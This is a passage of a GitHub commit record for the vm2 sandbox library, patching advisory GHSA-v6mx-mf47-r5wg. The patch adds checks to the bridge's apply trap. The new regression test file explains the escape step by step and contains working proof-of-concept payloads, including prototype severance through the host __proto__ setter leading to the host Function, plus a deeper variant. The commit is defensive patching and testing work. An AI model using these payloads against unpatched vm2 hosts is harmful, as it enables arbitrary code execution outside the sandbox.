Host `Reflect.setPrototypeOf` is `otherInit.reflectSetPrototypeOf`\n+\t\t// when exported (added by this fix). Fall back to nothing if the host\n+\t\t// bridge build is older than this fix.\n+\t\tif (typeof otherInit.reflectSetPrototypeOf === 'function') {\n+\t\t\taddDangerousHostProtoMutator(otherInit.reflectSetPrototypeOf);\n+\t\t}\n+\t\t// host Reflect.defineProperty — analogous to Object.defineProperty.\n+\t\tif (typeof otherInit.reflectDefineProperty === 'function') {\n+\t\t\taddDangerousHostProtoMutator(otherInit.reflectDefineProperty);\n+\t\t}\n+\t} catch (e) {\n+\t\t/* best effort */\n+\t}\n+\n+\tfunction isDangerousHostProtoMutator(value) {\n+\t\tif (isHost) return false;\n+\t\tif (value === null || typeof value !== 'function') return false;\n+\t\ttry {\n+\t\t\treturn thisReflectApply(thisWeakMapHas, dangerousHostProtoMutators, [value]) === true;\n+\t\t} catch (e) {\n+\t\t\treturn false;\n+\t\t}\n+\t}\n+\n \tfunction isHostPromiseThen(value) {\n \t\treturn otherPromiseThen !== undefined && value === otherPromiseThen;\n \t}\n@@ -1275,6 +1435,50 @@ function createBridge(otherInit, registerProxy) {\n \t\t\t// Note: target@this(unsafe) context@this(unsafe) args@this(safe-array) throws@this(unsafe)\n \t\t\tvalidateHandlerTarget(this, target); // SECURITY (GHSA-qcp4-v2jj-fjx8)\n \t\t\tconst object = getHandlerObject(this); // @other(unsafe)\n+\t\t\t// SECURITY (GHSA-v6mx-mf47-r5wg): Invariant A — sandbox-applied host\n+\t\t\t// functions must not mutate any host-realm object's prototype chain\n+\t\t\t// via the bridge. The `set` / `defineProperty` / `setPrototypeOf`\n+\t\t\t// proxy traps already block direct mutation of host-realm objects\n+\t\t\t// (see `isProtectedHostObject`), but if sandbox code obtains a\n+\t\t\t// reference to a host-realm prototype-mutating intrinsic and applies\n+\t\t\t// it directly (e.g.\n+\t\t\t// `Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\")` →\n+\t\t\t// host `Object.prototype.__proto__` setter), the actual prototype\n+\t\t\t// mutation happens inside the intrinsic with `this` = an unwrapped\n+\t\t\t// host object, bypassing every write trap. Refuse the call upstream.\n+\t\t\t//\n+\t\t\t// We refuse before unwrapping `context` / `args` so the host\n+\t\t\t// intrinsic is never reached with attacker-controlled inputs. The\n+\t\t\t// VMError mirrors the response from `isProtectedHostObject` callers\n+\t\t\t// (set/defineProperty/deleteProperty/preventExtensions).\n+\t\t\tif (!isHost) {\n+\t\t\t\t// SECURITY (GHSA-v6mx-mf47-r5wg): direct invocation check.\n+\t\t\t\tif (isDangerousHostProtoMutator(object)) throw new VMError(OPNA);\n+\t\t\t\t// SECURITY (GHSA-v6mx-mf47-r5wg): peel one indirection layer.\n+\t\t\t\t// When the apply target is host `Function.prototype.call` /\n+\t\t\t\t// `Function.prototype.apply` / `Function.prototype.bind`,\n+\t\t\t\t// `context` is the *underlying* function. The canonical PoC\n+\t\t\t\t// reaches host `__proto__` setter via\n+\t\t\t\t// `setProto.call(tp, null)`, where the apply target is\n+\t\t\t\t// `Function.prototype.call` (sandbox `.call` is `connect()`ed\n+\t\t\t\t// to host's), `context` is `setProto`, and `args = [tp, null]`.\n+\t\t\t\t// Unwrap `context` first (it may be a sandbox proxy of the\n+\t\t\t\t// host setter) and check the underlying.\n+\t\t\t\tif (isApplyIndirectionPrimitive(object)) {\n+\t\t\t\t\tlet underlying;\n+\t\t\t\t\ttry { underlying = otherFromThis(context); } catch (e) {}\n+\t\t\t\t\tif (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA);\n+\t\t\t\t}\n+\t\t\t\t// When the apply target is host `Reflect.apply` /\n+\t\t\t\t// `Reflect.construct`, the underlying function is `args[0]`.\n+\t\t\t\tif (isReflectApplyPrimitive(object)) {\n+\t\t\t\t\tif (args && args.length > 0) {\n+\t\t\t\t\t\tlet underlying;\n+\t\t\t\t\t\ttry { underlying = otherFromThis(args[0]); } catch (e) {}\n+\t\t\t\t\t\tif (isDangerousHostProtoMutator(underlying)) throw new VMError(OPNA);\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t}\n \t\t\t// SECURITY (GHSA-55hx): if the host function being applied is one of\n \t\t\t// host's Promise.prototype.then/catch/finally, wrap the sandbox-supplied\n \t\t\t// callbacks so their argument values flow through handleException /\n@@ -1805,6 +2009,29 @@ function createBridge(otherInit, registerProxy) {\n \t\t\t\t}\n \t\t\t// fallthrough\n \t\t\tcase 'function':\n+\t\t\t\t// SECURITY (GHSA-v6mx-mf47-r5wg): Invariant B — no host-realm\n+\t\t\t\t// object reaches sandbox code unwrapped. Cache check FIRST,\n+\t\t\t\t// before the proto-chain walk: if `other` has ever crossed the\n+\t\t\t\t// bridge as a host-realm value (`mappingOtherToThis` tracks\n+\t\t\t\t// every host-realm value the bridge has wrapped), return the\n+\t\t\t\t// existing proxy. This catches host-realm values whose\n+\t\t\t\t// prototype chain was subsequently tampered with — the cache\n+\t\t\t\t// lookup is independent of the prototype chain and so cannot\n+\t\t\t\t// be defeated by mutating it.\n+\t\t\t\t//\n+\t\t\t\t// Note: we deliberately do NOT wrap on the fall-through paths\n+\t\t\t\t// below (null proto, or walked-off the chain without finding a\n+\t\t\t\t// mapping). Wrapping there would re-introduce GHSA-9vg3-4rfj-wgcm\n+\t\t\t\t// — a sandbox-realm `{__proto__: null}` value passed to\n+\t\t\t\t// handleException would be turned into a host-treating proxy\n+\t\t\t\t// whose `set` trap unwraps sandbox-side proxies of host\n+\t\t\t\t// references onto the underlying object, recreating the very\n+\t\t\t\t// escape that fix closed. The write-side defense in the apply\n+\t\t\t\t// trap above (Invariant A) prevents the canonical attack from\n+\t\t\t\t// reaching a state where a fresh, never-bridged host object\n+\t\t\t\t// surfaces here through a tampered proto chain.\n+\t\t\t\tconst ensureCached = thisReflectApply(thisWeakMapGet, mappingOtherToThis, [other]);\n+\t\t\t\tif (ensureCached) return ensureCached;\n \t\t\t\tlet proto = thisReflectGetPrototypeOf(other);\n \t\t\t\tif (!proto) {\n \t\t\t\t\treturn other;"},{"sha":"08253538f42b66f726e6fca170c9c186b894694a","filename":"package.json","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/patriksimek/vm2/blob/27c525f4615e2b983f122e2bed327d810126f5c8/package.json","raw_url":"https://github.com/patriksimek/vm2/raw/27c525f4615e2b983f122e2bed327d810126f5c8/package.json","contents_url":"https://api.github.com/repos/patriksimek/vm2/contents/package.json?ref=27c525f4615e2b983f122e2bed327d810126f5c8","patch":"@@ -13,7 +13,7 @@\n \t\t\"alcatraz\",\n \t\t\"contextify\"\n \t],\n-\t\"version\": \"3.11.3\",\n+\t\"version\": \"3.11.4\",\n \t\"main\": \"index.js\",\n \t\"sideEffects\": false,\n \t\"repository\": \"github:patriksimek/vm2\","},{"sha":"ffca6be1db65c1337b669cb75a7eaac919a12dfd","filename":"test/ghsa/GHSA-v6mx-mf47-r5wg/repro.js","status":"added","additions":223,"deletions":0,"changes":223,"blob_url":"https://github.com/patriksimek/vm2/blob/27c525f4615e2b983f122e2bed327d810126f5c8/test%2Fghsa%2FGHSA-v6mx-mf47-r5wg%2Frepro.js","raw_url":"https://github.com/patriksimek/vm2/raw/27c525f4615e2b983f122e2bed327d810126f5c8/test%2Fghsa%2FGHSA-v6mx-mf47-r5wg%2Frepro.js","contents_url":"https://api.github.com/repos/patriksimek/vm2/contents/test%2Fghsa%2FGHSA-v6mx-mf47-r5wg%2Frepro.js?ref=27c525f4615e2b983f122e2bed327d810126f5c8","patch":"@@ -0,0 +1,223 @@\n+/**\n+ * GHSA-v6mx-mf47-r5wg — Sandbox escape via host intrinsic prototype severance\n+ *\n+ * ## Vulnerability class\n+ * The sandbox can corrupt the prototype chain of a host-realm object by calling\n+ * the host `Object.prototype.__proto__` setter (obtained via\n+ * `({}).__lookupSetter__('__proto__')`, which `connect()` routes to host) with\n+ * a wrapped host object as the `this` argument. The apply trap unwraps the\n+ * proxy back to the raw host object and lets the host setter mutate it\n+ * directly — the proxy `setPrototypeOf` trap (which throws `OPNA`) is\n+ * bypassed entirely.\n+ *\n+ * Once a non-protected host prototype (e.g. a Node-internal `NodeError`\n+ * subclass of `TypeError`) has its `__proto__` severed to `null`, any\n+ * subsequent host-realm value with that prototype that crosses into the\n+ * sandbox bypasses the bridge's recognition of host intrinsics. The bug\n+ * surfaces inside `thisEnsureThis` (lib/bridge.js): its proto-chain walk\n+ * looks up `protoMappings` for each prototype on the chain, and on\n+ * fallthrough (no mapping found, chain reaches `null`) it returned `other`\n+ * AS-IS. For a host-realm value with a severed chain, this returns the raw\n+ * host object to sandbox code — `e.constructor.constructor === host.Function`\n+ * → RCE.\n+ *\n+ * ## PoC summary\n+ * 1. `Buffer.call.call({}.__lookupGetter__, Buffer, '__proto__')` extracts\n+ *    the host `Object.prototype.__proto__` getter via `connect()`.\n+ * 2. `Buffer.call.call({}.__lookupSetter__, Buffer, '__proto__')` extracts\n+ *    the host `__proto__` setter.\n+ * 3. `await WebAssembly.compileStreaming()` rejects with a host `NodeError`\n+ *    extending `TypeError` (Node's `ERR_INVALID_ARG_TYPE`).\n+ * 4. `getProto.call(e)` yields a bridge proxy wrapping\n+ *    `host.NodeError.prototype`.\n+ * 5. `setProto.call(p1, null)` apply-traps into host realm, unwraps `p1` to\n+ *    the raw host prototype, and sets `host.NodeError.prototype.__proto__ =\n+ *    null` — severing the link to `host.TypeError.prototype`.\n+ * 6. A second `WebAssembly.compileStreaming()` rejects with a fresh\n+ *    `NodeError`. The bridge's `thisEnsureThis` walk reaches `null` without\n+ *    finding any mapping → returns the raw host error → sandbox reads\n+ *    `e.constructor.constructor` and obtains host `Function` → RCE.\n+ *\n+ * ## Fix\n+ * Structural: every host-realm primitive chokepoint already wraps on\n+ * fallthrough with `thisProxyOther(defaultFactory, other, thisObjectPrototype)`\n+ * — `thisFromOtherWithFactory` (line ~1947) and `thisFromOtherForThrow`\n+ * (line ~1876). `thisEnsureThis` was the lone exception, returning `other`\n+ * as-is. Make it consistent: on fallthrough, when the proto chain reaches\n+ * `null` without producing any sandbox or host intrinsic recognition AND\n+ * `other` is sandbox-side (`!isHost`), wrap defensively. Sandbox-native\n+ * values whose chain naturally reaches a known intrinsic still take the\n+ * fast path; sandbox-native values with a primordial null proto\n+ * (`Object.create(null)`) are caught by the early `!proto` return. Only the\n+ * narrow \"non-null proto chain that never hits any known intrinsic\" case is\n+ * wrapped — and that case is exactly the attacker-corrupted host signature.\n+ */\n+\n+'use strict';\n+\n+const assert = require('assert');\n+const { VM } = require('../../../lib/main.js');\n+\n+if (typeof it.cond !== 'function') {\n+\tit.cond = function (name, cond, fn) {\n+\t\treturn cond ? it(name, fn) : it.skip(name, fn);\n+\t};\n+}\n+\n+const NODE_MAJOR = parseInt(process.versions.node.split('.')[0], 10);\n+// WebAssembly.compileStreaming exists on Node 14+; the PoC relies on its\n+// rejection producing a host Node-internal error.\n+const HAS_WASM_STREAMING = NODE_MAJOR >= 14;\n+\n+// Sandbox-side sentinel: the escape path sets a key on `global`. Polling\n+// after a microtask tick lets unhandled-rejection / promise resolution\n+// settle.\n+function escapeAttempt(code) {\n+\tconst vm = new VM({ timeout: 2000 });\n+\tconst pwnKey = '__GHSA_v6mx_pwned_' + Math.random().toString(36).slice(2);\n+\tglobal[pwnKey] = false;\n+\ttry {\n+\t\tvm.run(code.replace(/__PWN_KEY__/g, JSON.stringify(pwnKey)));\n+\t} catch (_) {\n+\t\t/* bridge-level throws are also blocked */\n+\t}\n+\treturn new Promise(function (resolve) {\n+\t\tsetTimeout(function () {\n+\t\t\tconst escaped = global[pwnKey] === true;\n+\t\t\tdelete global[pwnKey];\n+\t\t\tresolve(escaped);\n+\t\t}, 300);\n+\t});\n+}\n+\n+describe('GHSA-v6mx-mf47-r5wg (host intrinsic prototype severance → ensureThis fallthrough escape)', function () {\n+\tit.cond(\n+\t\t'blocks the canonical PoC (compileStreaming twice with proto severance between)',\n+\t\tHAS_WASM_STREAMING,\n+\t\tasync function () {\n+\t\t\tthis.timeout(5000);\n+\t\t\tconst escaped = await escapeAttempt(`\n+\t\t\t\"use strict\";\n+\t\t\tconst getProto = Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\");\n+\t\t\tconst setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\n+\t\t\tasync function f() {\n+\t\t\t\ttry { await WebAssembly.compileStreaming(); }\n+\t\t\t\tcatch (e) { setProto.call(getProto.call(e), null); }\n+\t\t\t\ttry { await WebAssembly.compileStreaming(); }\n+\t\t\t\tcatch (e) {\n+\t\t\t\t\ttry {\n+\t\t\t\t\t\tconst HostFunction = e.constructor.constructor;\n+\t\t\t\t\t\tnew HostFunction(\"globalThis[\" + JSON.stringify(__PWN_KEY__) + \"] = true\")();\n+\t\t\t\t\t} catch (_) {}\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\tf().catch(() => {});\n+\t\t`);\n+\t\t\tassert.strictEqual(escaped, false, 'canonical PoC succeeded');\n+\t\t},\n+\t);\n+\n+\tit.cond('catch-block error never exposes host Function after proto severance attempt', HAS_WASM_STREAMING, async function () {\n+\t\tthis.timeout(5000);\n+\t\t// Even if the attacker attempts to corrupt the NodeError prototype, the\n+\t\t// value delivered to the sandbox catch must never pivot to host\n+\t\t// `Function` via `e.constructor.constructor`. The test does NOT check\n+\t\t// `e.isProxy` because, with the write-side defense blocking the\n+\t\t// `setProto.call` primitive, the proto chain stays intact and the bridge\n+\t\t// wraps via the protoMappings hit at host `TypeError.prototype` — at\n+\t\t// that point `e.constructor` resolves to *sandbox* `TypeError` and\n+\t\t// `e.constructor.constructor` is *sandbox* `Function`, which is\n+\t\t// harmless. The escape check looks for host `process` reachability.\n+\t\tconst vm = new VM({ timeout: 2000, sandbox: { __probe: {} } });\n+\t\tvm.run(`\n+\t\t\t\"use strict\";\n+\t\t\tconst getProto = Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\");\n+\t\t\tconst setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\n+\t\t\tasync function f() {\n+\t\t\t\ttry { await WebAssembly.compileStreaming(); }\n+\t\t\t\tcatch (e) { try { setProto.call(getProto.call(e), null); } catch (_) {} }\n+\t\t\t\ttry { await WebAssembly.compileStreaming(); }\n+\t\t\t\tcatch (e) {\n+\t\t\t\t\ttry {\n+\t\t\t\t\t\tconst HF = e.constructor.constructor;\n+\t\t\t\t\t\tconst probe = new HF(\"return typeof process !== 'undefined' && process && process.mainModule ? 'HOST' : 'SANDBOX'\")();\n+\t\t\t\t\t\t__probe.realm = probe;\n+\t\t\t\t\t} catch (_) {\n+\t\t\t\t\t\t__probe.realm = 'BLOCKED';\n+\t\t\t\t\t}\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\tf().catch(() => {});\n+\t\t`);\n+\t\tawait new Promise(function (r) {\n+\t\t\tsetTimeout(r, 300);\n+\t\t});\n+\t\tassert.notStrictEqual(\n+\t\t\tvm.sandbox.__probe.realm,\n+\t\t\t'HOST',\n+\t\t\t'e.constructor.constructor reached host Function (host process visible)',\n+\t\t);\n+\t});\n+\n+\tit.cond('variant: severing host Error.prototype via the same primitive', HAS_WASM_STREAMING, async function () {\n+\t\tthis.timeout(5000);\n+\t\t// Even if the attacker picks a different host-realm prototype to\n+\t\t// sever, the fallthrough path must remain wrapped. This walks one\n+\t\t// level deeper before the setProto call.\n+\t\tconst escaped = await escapeAttempt(`\n+\t\t\t\"use strict\";\n+\t\t\tconst getProto = Buffer.call.call({}.__lookupGetter__, Buffer, \"__proto__\");\n+\t\t\tconst setProto = Buffer.call.call({}.__lookupSetter__, Buffer, \"__proto__\");\n+\t\t\tasync function f() {\n+\t\t\t\ttry { await WebAssembly.compileStreaming(); }\n+\t\t\t\tcatch (e) {\n+\t\t\t\t\ttry {\n+\t\t\t\t\t\t// Walk two levels of proto chain before severing — try to\n+\t\t\t\t\t\t// hit host TypeError.prototype's parent (host Error.prototype).\n+\t\t\t\t\t\tsetProto.call(getProto.call(getProto.call(e)), null);\n+\t\t\t\t\t} catch (_) {}\n+\t\t\t\t}\n+\t\t\t\ttry { await WebAssembly.compileStreaming(); }\n+\t\t\t\tcatch (e) {\n+\t\t\t\t\ttry {\n+\t\t\t\t\t\tconst HF = e.constructor.constructor;\n+\t\t\t\t\t\tnew HF(\"globalThis[\" + JSON.stringify(__PWN_KEY__) + \"] = true\")();\n+\t\t\t\t\t} catch (_) {}\n+\t\t\t\t}\n+\t\t\t}\n+\t\t\tf().catch(() => {});\n+\t\t`);\n+\t\tassert.strictEqual(escaped, false, 'deeper proto-severance variant succeeded');\n+\t});\n+\n+\tit('sandbox-native catch values with intact prototype chain are returned identity-stable', function () {\n+\t\t// Regression guard for the fix: sandbox-realm errors caught in a\n+\t\t// sandbox catch block must NOT be wrapped in a bridge proxy\n+\t\t// (preserves identity comparisons, instanceof, and prevents\n+\t\t// proxy-of-proxy churn).\n+\t\tconst vm = new VM();\n+\t\tconst out = vm.run(`\n+\t\t\tlet caught = null;\n+\t\t\tlet sameIdentity = false;\n+\t\t\ttry { throw new Error(\"local\"); }\n+\t\t\tcatch (e) { caught = e; sameIdentity = (e instanceof Error) && e.message === \"local\"; }\n+\t\t\t({ sameIdentity });\n+\t\t`);\n+\t\tassert.strictEqual(out.sameIdentity, true, 'sandbox-native error lost identity through catch');\n+\t});\n+\n+\tit('Object.create(null) sandbox values still pass through ensureThis untouched', function () {\n+\t\t// The early `!proto` return in ensureThis must continue to short-\n+\t\t// circuit primordial null-proto objects so they are not wrapped.\n+\t\tconst vm = new VM();\n+\t\tconst out = vm.run(`\n+\t\t\tconst nullProto = Object.create(null);\n+\t\t\tnullProto.kind = \"marker\";\n+\t\t\tlet caught = null;\n+\t\t\ttry { throw nullProto; } catch (e) { caught = e; }\n+\t\t\t({ kind: caught && caught.kind, sameRef: caught === nullProto });\n+\t\t`);\n+\t\tassert.strictEqual(out.kind, 'marker', 'null-proto throw lost data');\n+\t\tassert.strictEqual(out.sameRef, true, 'null-proto throw was wrapped');\n+\t});\n+});"}]}